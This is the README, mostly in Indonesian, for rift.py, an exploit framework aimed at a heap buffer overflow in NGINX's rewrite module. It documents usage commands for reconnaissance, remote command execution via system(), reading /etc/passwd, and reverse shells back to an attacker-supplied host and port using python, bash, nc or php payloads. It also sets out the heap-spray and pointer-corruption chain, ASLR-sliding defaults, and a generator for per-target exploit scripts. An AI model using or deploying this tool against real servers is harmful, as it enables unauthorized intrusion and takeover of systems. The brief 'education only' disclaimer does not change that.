
A flaw was found in NGINX, specifically within the ngx_http_rewrite_module. An unauthenticated attacker can exploit this vulnerability by sending crafted HTTP requests under specific rewrite configurations. This can lead to a heap buffer overflow in the NGINX worker process, which may result in arbitrary code execution
Author: Michael Sanji Winaya Prawiradibrata
AI Co-Author: Varanus — sahabatku
Heap buffer overflow exploit framework targeting NGINX's
ngx_http_rewrite_module.
Satu tool untuk reconnaissance + exploitation. Zero external dependencies.
| File | Deskripsi |
|---|---|
rift.py | Tool utama. Gabungan recon + exploit dalam satu script (1026 baris). |
README.md | Dokumentasi ini. |
# 1. Full reconnaissance — deteksi versi, endpoint, celah, strategi
python3 rift.py --target 10.10.10.10 --recon
# 2. Recon + exploit sekali jalan
python3 rift.py --target 10.10.10.10 --auto --cmd "id"
# 3. Command execution
python3 rift.py --target 10.10.10.10 --cmd "whoami"
# 4. Reverse shell (auto-open listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
# 5. Reverse shell pakai bash (instead of python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
# 6. Cek vulnerable saja
python3 rift.py --target 10.10.10.10 --check-only
Saat pakai --shell, script otomatis:
--shell-type--lportnc -lvnp), fallback Python listenerKalau address default gagal, script otomatis geser heap base ±5 langkah × 0x10000, nyari address yang cocok. Tidak perlu setting manual.
4 jenis shell payload — python, bash, nc, php. Pilih yang tersedia di target.
--recon menjalankan 5 fase:
--output json untuk integrasi dengan tool lain atau parsing otomatis.
Target exploit adalah NGINX dengan konfigurasi rewrite + set seperti ini:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1
set $original_endpoint $1; # length calc pake is_args = 0
}
Akibatnya: buffer yang dialokasikan terlalu kecil, URI escaping (3× expansion) overflow.
1. HEAP SPRAY ─── POST /spray × 20 → tanam fake ngx_pool_cleanup_s di heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow via URI escaping
3. CORRUPT ────── Overflow tulis ulang cleanup pointer pool adjacent
4. EXEC ───────── Pool destroyed → panggil system("command")
rift.py)python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
python3 rift.py --target 10.10.10.10 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
python3 rift.py --target 10.10.10.10 --recon --output json
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py
nc -zv <IP> 80--port 8080, --port 443--auto untuk ASLR sliding otomatis--verbose lihat detail per attemptsudo ufw allow 4444--lhost — pastikan IP lokal benar--shell-type bash atau --shell-type ncDibuat untuk tujuan edukasi dan authorized security testing saja.
Penggunaan terhadap sistem tanpa izin adalah ilegal.
© 2026 Michael Sanji Winaya Prawiradibrata
AI co-author: Varanus
| Flag | Fungsi |
|---|
--recon | Full reconnaissance. Fingerprint → info leak → endpoint test → worker count → strategy. |
--auto | Recon + exploit otomatis. Sama seperti --recon lalu lanjut exploit. |
--check-only | Cek cepat. Deteksi NGINX, versi, endpoint /api/. |
--cmd "command" | Eksekusi satu command via system(). |
--shell | Reverse shell — auto buka listener, kirim payload, terima koneksi. |
| Flag | Default | Fungsi |
|---|
--port | 80 | Port target |
--lhost | — | IP lokal untuk reverse shell (wajib kalau pakai --shell) |
--lport | 4444 | Port lokal untuk listener |
--shell-type | python | Payload reverse shell: python, bash, nc, php |
--heap-base | 0x555555659000 | Base address heap (override untuk ASLR bypass) |
--libc-base | 0x7ffff77ba000 | Base address libc |
--tries | 10 | Attempt per candidate address |
--verbose / -v | — | Output detail per attempt |
| Flag | Fungsi |
|---|
--fingerprint | Deteksi versi NGINX, endpoint, rewrite module |
--leak | Cek information leak (memory address di error page, timing) |
--test-endpoint | Test behaviour endpoint dengan berbagai payload |
--endpoint | Path endpoint untuk di-test (default: /api/) |
--generate-exploit | Generate exploit script khusus dengan address target |
--output json | Output JSON (machine-readable) bersamaan output terminal |
| Constant | Default | Arti |
|---|
BODY_LEN | 4000 | Ukuran spray body (bytes) |
N_SPRAY | 20 | Jumlah POST request per attempt |
LIBC_SYSTEM_OFFSETS | 7 entries | Offset system() untuk berbagai distro |
PREREAD_HEAP_OFFSETS | 19 entries | Kandidat offset heap |
DEFAULT_HEAP_BASE | 0x555555659000 | Heap base (ASLR off) |
DEFAULT_LIBC_BASE | 0x7ffff77ba000 | Libc base (ASLR off) |